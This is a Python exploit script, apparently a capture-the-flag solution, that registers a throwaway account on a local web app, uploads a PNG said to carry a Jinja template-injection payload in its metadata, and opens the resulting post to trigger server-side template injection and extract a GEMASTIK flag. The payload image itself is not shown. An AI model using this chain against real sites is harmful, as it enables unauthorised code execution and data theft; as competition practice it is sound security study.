92 lines
2.7 KiB
Python
92 lines
2.7 KiB
Python
import os
|
|
import re
|
|
import random
|
|
import string
|
|
from pathlib import Path
|
|
import requests
|
|
|
|
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
|
|
|
HOST = "http://localhost:4414"
|
|
REGISTER_URL = f"{HOST}/register"
|
|
LOGIN_URL = f"{HOST}/login"
|
|
UPLOAD_URL = f"{HOST}/upload"
|
|
HOME_URL = f"{HOST}/"
|
|
|
|
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
|
|
|
def rnd(n=8):
|
|
alpha = string.ascii_lowercase + string.digits
|
|
return ''.join(random.choices(alpha, k=n))
|
|
|
|
USERNAME = rnd()
|
|
PASSWORD = rnd()
|
|
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
|
|
|
|
s = requests.Session()
|
|
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
|
|
|
def ok_or_redirect(resp):
|
|
return 200 <= resp.status_code < 400
|
|
|
|
# 1) Register (allow redirects)
|
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
|
allow_redirects=True, timeout=TIMEOUT)
|
|
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
|
if not ok_or_redirect(r):
|
|
print("[x] Registration failed")
|
|
raise SystemExit(1)
|
|
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
|
|
|
# 2) Login (allow redirects)
|
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
|
allow_redirects=True, timeout=TIMEOUT)
|
|
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
|
if not ok_or_redirect(r):
|
|
print("[x] Login failed")
|
|
raise SystemExit(1)
|
|
print("[+] Logged in")
|
|
|
|
# 3) Upload image (title + image)
|
|
img_path = Path(LOCAL_IMAGE)
|
|
if not img_path.exists():
|
|
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
|
|
|
|
with img_path.open("rb") as fh:
|
|
files = {"image": (img_path.name, fh, "image/png")}
|
|
data = {"title": "SSTI Exploit"}
|
|
r = s.post(UPLOAD_URL, data=data, files=files,
|
|
allow_redirects=True, timeout=TIMEOUT)
|
|
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
|
if not ok_or_redirect(r):
|
|
print("[x] Upload failed")
|
|
raise SystemExit(1)
|
|
print("[+] Upload complete")
|
|
|
|
# 4) Home → cari post id terbaru
|
|
r = s.get(HOME_URL, timeout=TIMEOUT)
|
|
print(f"[i] Home -> {r.status_code}")
|
|
if r.status_code != 200:
|
|
print("[x] Failed to load home")
|
|
raise SystemExit(1)
|
|
|
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
|
if not post_ids:
|
|
print("[-] No posts found on home.")
|
|
# print(r.text[:800])
|
|
raise SystemExit(1)
|
|
|
|
pid = max(map(int, post_ids))
|
|
post_url = f"{HOST}/post/{pid}"
|
|
print(f"[+] Newest post: {post_url}")
|
|
|
|
# 5) Trigger SSTI dan cari flag
|
|
r = s.get(post_url, timeout=TIMEOUT)
|
|
print(f"[i] Post -> {r.status_code}")
|
|
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
|
if m:
|
|
print("[+] Flag:", m.group(0))
|
|
else:
|
|
print("[-] Flag not found in response.")
|
|
print(r.text[:1200])
|